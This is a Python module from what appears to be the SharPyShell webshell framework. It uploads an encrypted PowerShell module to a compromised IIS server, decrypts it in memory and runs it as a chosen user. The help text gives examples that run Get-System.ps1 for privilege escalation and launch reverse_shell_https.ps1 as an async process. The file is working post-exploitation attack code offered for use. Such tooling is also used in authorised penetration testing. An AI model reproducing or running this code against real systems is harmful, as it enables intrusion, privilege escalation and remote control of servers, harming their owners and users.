Files
2019-03-10 23:14:03 +01:00

94 lines
5.2 KiB
Python

from modules.upload import Upload
from modules.invoke_ps_module import Invoke_ps_module, ModuleException
from modules.runas_ps import Runas_ps
import traceback
class InvokePsModuleAsModuleException(ModuleException):
pass
class Invoke_ps_module_as(Invoke_ps_module):
_exception_class = InvokePsModuleAsModuleException
short_help = "Run a ps1 script on the target server as a specific user"
complete_help = r"""
This module upload and executes (as a specific user) a powershell module that exists
in the 'ps_modules/' SharPyShell directory.
The ps1 module will be uploaded to the target server in an encrypted form and get decrypted at runtime in
memory.
Then a new process, out of calling thread of w3wp.exe, will be spawned with the permission of the
specified user.
It is possible to execute additional code to the uploaded module in order to use functions inside of it or
add additional behaviours.
Usage:
#invoke_ps_module_as ps_module username password [appended_code] [domain] [process_timeout_ms] [logon_type]
Positional arguments:
ps_module name of a .ps1 module existent in the 'ps_modules/' directory
username username of the user
password password of the user
appended_code powershell code to be run within the module uploaded
Default: ''
domain domain of the user, if in a domain.
Default: ''
process_timeout_ms the waiting time (in ms) to use in the WaitForSingleObject() function.
This will halt the process until the spawned process ends and sent
the output back to the webshell.
If you set 0 an async process will be created and no output will be retrieved.
Default: '60000'
logon_type the logon type for the spawned process.
If you set Interactive (2) logon type you will face some restriction problems with
admin account.
Default: '3'
Examples:
Run a module as a specific local user:
#invoke_ps_module_as Get-System.ps1 user1 password1 ';Get-System -Whoami'
Run a module as a specific domain user:
#invoke_ps_module_as Get-System.ps1 user1 password1 ';Get-System -Whoami' 'domain'
Run a module as an async process:
#invoke_ps_module_as reverse_shell_https.ps1 user1 password1 '' '' '0'
Run a module as a specific user and with a logon type 4 (batch) for the process spawned:
#invoke_ps_module_as Get-System.ps1 user1 password1 ';Get-System -Whoami' '' '60000' '4'
"""
__default_appended_code = ''
__default_domain = ''
__default_process_timeout_ms = '60000'
__default_logon_type = '3'
def __init__(self, password, channel_enc_mode, module_settings, request_object):
Invoke_ps_module.__init__(self, password, channel_enc_mode, module_settings, request_object)
self.upload_module_object = Upload(password, channel_enc_mode, module_settings, request_object)
self.runas_ps_object = Runas_ps(password, channel_enc_mode, module_settings, request_object)
def __parse_run_args(self, args):
if len(args) < 3:
raise self._exception_class('#invoke_ps_module_as: Not enough arguments. 3 Argument required.\n')
args_parser = {k: v for k, v in enumerate(args)}
ps_module = args_parser.get(0)
username = args_parser.get(1)
password = args_parser.get(2)
appended_code = args_parser.get(3, self.__default_appended_code)
domain = args_parser.get(4, self.__default_domain)
process_ms_timeout = args_parser.get(5, self.__default_process_timeout_ms)
logon_type = args_parser.get(6, self.__default_logon_type)
return ps_module, username, password, appended_code, domain, process_ms_timeout, logon_type
def run(self, args):
try:
ps_module, username, password, appended_code,\
domain, process_ms_timeout, logon_type = self.__parse_run_args(args)
enc_module_path = self._lookup_module(ps_module)
enc_appended_code_path = self._gen_appended_code(appended_code)
ps_code = self._create_request([enc_module_path, enc_appended_code_path])
runas_params = [username, password, domain, process_ms_timeout, logon_type]
parsed_response = self._parse_response(self.runas_ps_object.run([ps_code] + runas_params))
parsed_response = '\n\n\nModule executed correctly:\n' + parsed_response
except ModuleException as module_exc:
parsed_response = str(module_exc)
except Exception:
parsed_response = '{{{' + self._exception_class.__name__ + '}}}' + '{{{PythonError}}}\n' + str(
traceback.format_exc())
return parsed_response